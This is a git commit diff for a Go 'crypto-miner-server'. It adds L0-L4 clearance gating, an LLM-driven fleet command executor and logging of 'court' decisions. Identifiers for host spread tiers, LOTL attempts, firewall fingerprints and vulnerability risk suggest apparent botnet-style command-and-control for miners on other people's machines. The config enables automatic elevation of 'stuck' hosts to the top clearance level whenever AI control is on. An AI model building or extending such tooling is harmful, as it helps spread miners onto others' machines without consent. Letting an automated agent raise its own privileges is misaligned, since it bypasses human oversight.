Add L0-L4 security clearance for fleet commands and AI elevation.

Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
AetherForge
2026-06-07 02:30:00 -07:00
parent dd612251d1
commit f89ba94cb7
21 changed files with 952 additions and 46 deletions

View File

@@ -0,0 +1,146 @@
package api
import (
"fmt"
"sync"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/models"
)
const stuckHostFailedTierThreshold = 14
// ClearanceManager returns the hub's session clearance tracker.
func (h *WSHub) ClearanceManager() *ClearanceManager {
if h == nil {
return nil
}
return h.clearance
}
// ClearanceManager tracks per-agent session clearance and broadcasts changes.
type ClearanceManager struct {
hub *WSHub
mu sync.RWMutex
// agentClearance holds live session clearance keyed by agent ID.
agentClearance map[string]int
}
func NewClearanceManager(hub *WSHub) *ClearanceManager {
return &ClearanceManager{
hub: hub,
agentClearance: make(map[string]int),
}
}
// InitAgent sets baseline clearance when an agent connects.
func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int {
if m == nil {
return clearance.DefaultClearance(agent)
}
level := clearance.DefaultClearance(agent)
m.mu.Lock()
m.agentClearance[agentID] = level
m.mu.Unlock()
m.pushToAgent(agentID, level)
return level
}
// RemoveAgent drops session clearance state.
func (m *ClearanceManager) RemoveAgent(agentID string) {
if m == nil {
return
}
m.mu.Lock()
delete(m.agentClearance, agentID)
m.mu.Unlock()
}
// Level returns the current session clearance for an agent.
func (m *ClearanceManager) Level(agentID string) int {
if m == nil {
return clearance.L0
}
m.mu.RLock()
level, ok := m.agentClearance[agentID]
m.mu.RUnlock()
if ok {
return level
}
if m.hub != nil && m.hub.db != nil {
if agent, err := m.hub.db.GetAgent(agentID); err == nil && agent != nil {
return clearance.DefaultClearance(agent)
}
}
return clearance.L0
}
// RequestElevation raises clearance when needed and notifies dashboards.
func (m *ClearanceManager) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
if m == nil {
return clearance.L0, nil
}
current := m.Level(agentID)
newLevel, err := clearance.RequestElevation(m.hub.db, agentID, current, toLevel, reason, source)
if err != nil {
return current, err
}
if newLevel <= current {
return current, nil
}
m.mu.Lock()
m.agentClearance[agentID] = newLevel
m.mu.Unlock()
m.pushToAgent(agentID, newLevel)
m.broadcastElevation(agentID, current, newLevel, reason, source)
return newLevel, nil
}
func (m *ClearanceManager) pushToAgent(agentID string, level int) {
if m == nil || m.hub == nil {
return
}
_ = m.hub.SendToAgent(agentID, Message{
Type: "clearance_update",
Payload: mustMarshal(map[string]interface{}{
"clearance_level": level,
}),
})
}
func (m *ClearanceManager) broadcastElevation(agentID string, fromLevel, toLevel int, reason, source string) {
if m == nil || m.hub == nil {
return
}
m.hub.broadcastDashboard(Message{
Type: "clearance_elevated",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"from_level": fromLevel,
"to_level": toLevel,
"reason": reason,
"source": source,
}),
})
}
// ClearanceGuardExecutor wraps FleetAIExecutor with clearance enforcement.
type ClearanceGuardExecutor struct {
Inner *FleetAIExecutor
Clearance *ClearanceManager
}
func (e *ClearanceGuardExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
if e == nil || e.Inner == nil {
return "", fmt.Errorf("executor unavailable")
}
level := clearance.L0
if e.Clearance != nil {
level = e.Clearance.Level(agentID)
}
if err := clearance.EnforceClearance(cmd.Type, cmd.Args, level); err != nil {
return "", err
}
return e.Inner.Execute(agentID, cmd)
}

View File

@@ -6,17 +6,20 @@ import (
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
type FleetAIConfigView struct {
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
AIPersona string `json:"ai_persona"`
}
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
@@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
h.mu.RUnlock()
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
if engine != nil {
fp := engine.AgentFingerprint(agentID)
if fp.GOOS == "" {
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
}
snap.FingerprintKey = fp.Key()
}
snap.Stuck = fleetai.ComputeStuck(snap)
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
if engine != nil && !aiMode {
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
adaptive := engine.StrategyForAgent(agentID, fp)
@@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte
n := int(v)
snap.VulnRisk = &n
}
if v, ok := tel["stuck"].(bool); ok {
snap.Stuck = v
}
}
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
for _, a := range attempts {
attemptByTier[a.Tier] = a
}
failed := 0
for _, tier := range fleetai.DefaultSpreadTiers() {
if a, ok := attemptByTier[tier]; ok && !a.OK {
failed++
}
}
return failed
}
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
type DatabaseCourtAdapter struct {
DB interface {
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
}
}
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
if a == nil || a.DB == nil {
return ""
}
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
if err != nil {
return ""
}
return summary
}
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
if a == nil || a.DB == nil {
return nil, false
}
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
if err == nil && stored != nil {
p := strategy.PhenotypeFromStored(*stored)
return &p, true
}
rows, err := a.DB.ListFleetPhenotypes("")
if err != nil || len(rows) == 0 || goos == "" {
return nil, false
}
prefix := goos + "|"
var best *db.StoredPhenotype
for i := range rows {
row := &rows[i]
if !strings.HasPrefix(row.Fingerprint, prefix) {
continue
}
if best == nil || row.PeakHashrate > best.PeakHashrate {
best = row
}
}
if best == nil {
return nil, false
}
p := strategy.PhenotypeFromStored(*best)
return &p, true
}
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
@@ -321,24 +401,29 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
endpoint = "http://127.0.0.1:11434/v1"
}
return fleetai.Config{
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
Persona: fleetai.NormalizePersona(v.AIPersona),
}
}
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
type DatabaseAIDecisionStore struct {
DB interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
}
}
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
if s == nil || s.DB == nil {
return nil
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
if court == nil {
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
}

View File

@@ -88,3 +88,33 @@ func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) {
}
writeJSON(w, rows)
}
func (h *FleetAIHandler) GetClearanceEvents(w http.ResponseWriter, r *http.Request) {
if h.db == nil {
writeJSON(w, []db.ClearanceEvent{})
return
}
listFn, ok := h.db.(interface {
ListClearanceEvents(agentID string, limit int) ([]db.ClearanceEvent, error)
})
if !ok {
writeJSON(w, []db.ClearanceEvent{})
return
}
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
limit := 50
if raw := r.URL.Query().Get("limit"); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
limit = n
}
}
rows, err := listFn.ListClearanceEvents(agentID, limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []db.ClearanceEvent{}
}
writeJSON(w, rows)
}

View File

@@ -16,6 +16,7 @@ import (
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/pool"
@@ -385,6 +386,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
if id != "all" {
level := clearance.L0
if mgr := f.ws.ClearanceManager(); mgr != nil {
level = mgr.Level(id)
}
if err := clearance.EnforceAction(req.Action, level); err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
"agent_id": id,
"action": req.Action,
})
return
}
}
args := map[string]interface{}{}
if req.TailLines > 0 {
args["tail_lines"] = req.TailLines
@@ -599,7 +615,16 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
sent := 0
failed := 0
mgr := f.ws.ClearanceManager()
for _, id := range req.AgentIDs {
level := clearance.L0
if mgr != nil {
level = mgr.Level(id)
}
if err := clearance.EnforceAction(req.Action, level); err != nil {
failed++
continue
}
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
failed++
} else {